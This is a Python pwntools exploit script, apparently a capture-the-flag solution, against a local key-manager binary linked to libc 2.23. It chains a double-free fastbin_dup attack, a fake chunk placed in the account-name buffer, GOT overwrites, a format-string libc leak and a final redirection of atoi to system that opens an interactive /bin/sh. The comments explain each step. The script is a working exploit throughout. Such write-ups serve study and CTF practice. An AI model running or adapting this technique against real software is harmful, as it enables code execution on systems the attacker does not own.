#!/usr/bin/env python

from pwn import *

def set_account_name(acc_name):
    p.sendafter('Set Your Account Name >> ', acc_name)

def set_master_pass(master_pass):
    p.sendafter('Set Your Master Pass >> ', master_pass)

def check_account(acc_name, master_pass):
    p.sendafter('Input Account Name >> ', acc_name)
    p.sendafter('Input Master Pass >> ', master_pass)

def add_key(key_len, title, key):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('ADD KEY\nInput key length...', str(key_len))
    p.sendafter('Input title...', title)
    p.sendafter('Input key...', key)
    p.recvuntil('done.\n')

def edit_key(acc_name, master_pass, index, new_key, no_atoi=False):
    p.sendlineafter('>> ', ' ' * 3 if no_atoi else '3')
    p.recvuntil('EDIT KEY\n')
    check_account(acc_name, master_pass)
    p.sendlineafter('Input id to edit...', ' ' * index if no_atoi else str(index))
    p.sendafter('Input new key...', new_key)
    p.recvuntil('done.\n')

def remove_key(acc_name, master_pass, index, no_atoi=False):
    p.sendlineafter('>> ', ' ' * 4 if no_atoi else '4')
    p.recvuntil('REMOVE KEY\n')
    check_account(acc_name, master_pass)
    p.sendlineafter('Input id to remove...', str(index))
    p.recvuntil('done.\n')

with context.quiet:
    p = process('./program', env = {'LD_PRELOAD': './libc-2.23.so'})

    # we are going to use accout name (0x6020c0) as a fake fastbin chunk later to overlap
    # it with the key table, so we are setting the right value for its chunk header
    ACC_NAME = p64(0) + p64(0x81)
    set_account_name(ACC_NAME)

    # we do not care about the value of master pass for this exploit
    MASTER_PASS = '0' * 15 + '\x00'
    set_master_pass(MASTER_PASS)

    # key_a => fastbin_1 (0x80)
    add_key(88, 'a' * 31, 'A' * 87)

    # key_b => fastbin_2 (0x80)
    add_key(88, 'b' * 31, 'B' * 87)

    # there is a double free vulnerability, so we mount fastbin_dup attack, where
    # we can allocate the same chunk twice, so we will have two overlapping chunks
    remove_key(ACC_NAME + '\n', MASTER_PASS + '\n', 0)
    remove_key(ACC_NAME + '\n', MASTER_PASS + '\n', 1)
    remove_key(ACC_NAME + '\n', MASTER_PASS + '\n', 0)

    # key_c => fastbin_1 (0x80)
    # set the address of our fake chunk in the fd pointer
    add_key(88, p64(0x6020c0) + 'c' * 23, 'C' * 87)

    # key_d => fastbin_2 (0x80)
    add_key(88, 'd' * 31, 'D' * 87)

    # key_e => fastbin_1 (0x80)
    # this allocation put 0x6020c0 in head of the free bin list
    add_key(88, 'e' * 31, 'E' * 87)

    # key_f => fastbin_3 (0x80)
    # after these three allocations, as you can see, key_c and key_e are pointing to the same chunk
    # as a result of these allocations, now we pushed 0x6020c0 into the next free fastbin, so the following
    # allocation causes 0x6020c0 (account name) to be our next chunk.
    # using this chunk, we have arbitrary write on "key list", so we replace first element with a fake chunk in GOT
    add_key(88, 'f' * 16 + p64(0x602030) + '\n', '\n')

    # here we edit the content of atoi@got with print@plt which helps up to leak a libc address
    # we can simply replace the content of other X@got content on our way with the X@plt + 6
    # what happens is that their addresses will be resovled once more, so the program won't crash
    edit_key(ACC_NAME + '\n', MASTER_PASS + '\n', 0,
             # read@plt + 6
             p64(0x400716) + \
             # __libc_start_main@plt + 6
             p64(0x400726) + \
             # strcmp@plt + 6
             p64(0x400736) + \
             # malloc@plt + 6
             p64(0x400746) + \
             # printf@plt
             p64(0x4006f0) + \
             '\n')

    # here we can mount a format string attack to leak a libc address from stack
    p.sendlineafter('>> ', '%p.%p.%p')
    libc_base = int(p.recvuntil('\n').split('.')[-1], 16) - 0xf7230
    print 'libc base: {}'.format(hex(libc_base))

    # now we have the libc base, we can replace the content of atoi@got with system address
    # since return value of printf is the number of printed characters, we can enter a number
    # by simply providing a string with length of 3 instead of 3 due to the fact that atoi@got
    # is not executing atoi anymore
    edit_key(ACC_NAME + '\n', MASTER_PASS + '\n', 0,
             # read@plt + 6
             p64(0x400716) + \
             # __libc_start_main@plt + 6
             p64(0x400726) + \
             # strcmp@plt + 6
             p64(0x400736) + \
             # malloc@plt + 6
             p64(0x400746) + \
             # system
             p64(libc_base + 0x45390) + \
             '\n', no_atoi=True)

    # by providing /bin/sh, we can simply execute shell because atoi@got is pointing to system
    p.sendlineafter('>> ', '/bin/sh')

    p.interactive()

